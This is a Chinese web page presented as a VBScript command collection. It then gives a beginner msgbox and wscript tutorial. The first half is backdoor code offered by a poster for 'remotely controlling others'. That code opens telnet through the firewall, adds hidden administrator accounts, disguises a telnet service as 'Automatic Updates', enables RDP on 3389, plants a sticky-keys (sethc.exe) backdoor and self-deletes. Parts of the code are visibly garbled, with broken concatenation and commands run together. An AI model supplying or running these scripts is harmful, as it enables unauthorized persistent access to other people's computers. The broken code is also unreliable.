vbs命令大全(vbs指令大全下)
vbs编程-执行cmd命令
cmd /c = /close 执行命令,关闭窗口
cmd /k = /keep 执行命令,保持窗口
详细如下: 命令行输入 cmd /?
vbs代码大全
On Error Resume Next '忽略错误
set wshshell=createobject ("wscript.shell") '调用 wscript.shell
a=wshshell.run ("netsh firewall set portopening TCP 23 ENABL",0) '让XP防火墙对23端口放行
b=wshshell.run ("sc config tlntsvr start= auto",0) '吧telnet改为手动
d=wshshell.run ("net1 user ganggang$ test /add",0) '添加一个帐户
e=wshshell.run ("net1 localgroup administrators ganggang$ /add",0) '加管理组
f=wshshell.run ("cmd /k copy ""%systemroot%\system32\tlntsvr.exe"" ""%systemroot%\java\rundl132.exe""",0) '复制telnet到java目录下改名为rundl132.exe
g=wshshell.run ("sc create ccservice binpath= ""%systemroot%\java\rundl132.exe"" type= own",0) 'sc命令用服务的方式启动
h=wshshell.run ("sc config ccservice DisplayName= Automatic Updates",0)
i=wshshell.run ("sc description ccservice 通知所选用户和计算机有关系统管理级警报。",0)
j=wshshell.run ("sc config ccservice start= auto",0) '将服务设为自动
k=wshshell.run ("net1 start ccservice",0) '启动服务
z=wshshell.run ("ATTRIB +R +S +H ""%systemroot%\java\rundl132.exe""",0) '加个属性 艾权啊，我是DARK，给你个可以远程控制别人的VBS代码，没事试试也可以的 再给你一个开启3389创建用户粘滞键后门on error resume next
const HKEY_LOCAL_MACHINE = H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
strComputer "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os"/"username",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exeecho y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F?? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe?? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exedel %SystemRoot%\system32\sethc.exeren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
vbs常用代码
1、首先在电脑鼠标右键 新建一个文本文档。
2、然后点开文本文档进行编辑，最重要的一个代码就是msgbox，然后在后面添加想要说的话，但是要使用英文标点符号，换行时候都需要在前面加上代码，最后保存。
3、保存好之后，对这个文本文档进行重命名更改后缀，把文本文档的txt改成vbs。
4、改vbs后缀会弹出一个提示框，提示你如果改变文件扩展名，可能会导致文件不可用，确定要改吗，点击是。
5、确定更改文件扩展名之后文本文档就会变成vbs，这样就表示已经完成制作。
6、只要双击这个vbs，桌面就会弹出你所编辑的语言，一直点击确定就会出现你编辑的所有内容。
vbs 常用命令
1.点击WIN按钮，在运行对话框下面输入cmd，打开命令提示符窗口。
2. 在提示符底部输入记事本，打开记事本程序。
3.在记事本下面输入:Msgbox "这是一个提示窗口"
4. 然后单击“文件”菜单，选择“另存为”，打开对话框。
5.在对话框中输入程序名:demo。将类型保存为all，选择要保存的路径，然后单击save。
6.在命令提示符下面输入wscript d:\demo.vbs，打开VBS脚本程序。
7.WSCRIPT是Windows脚本主机，专门用于调试WSH脚本、VBS、js和WSH文件格式。Wscript / ?查看更多命令以及如何运行它们。
8. 进入cscript d: \ demo。运行脚本的提示符底部的vbs。
注意事项：
VBS, Microsoft Visual Basic Scripting Edition是Visual Basic编程语言家族的最新成员，它将灵活的脚本语言引入到更广泛的应用程序中，包括Microsoft Internet Explorer中的Web客户端脚本和Microsoft Internet Information Server中的Web服务器脚本。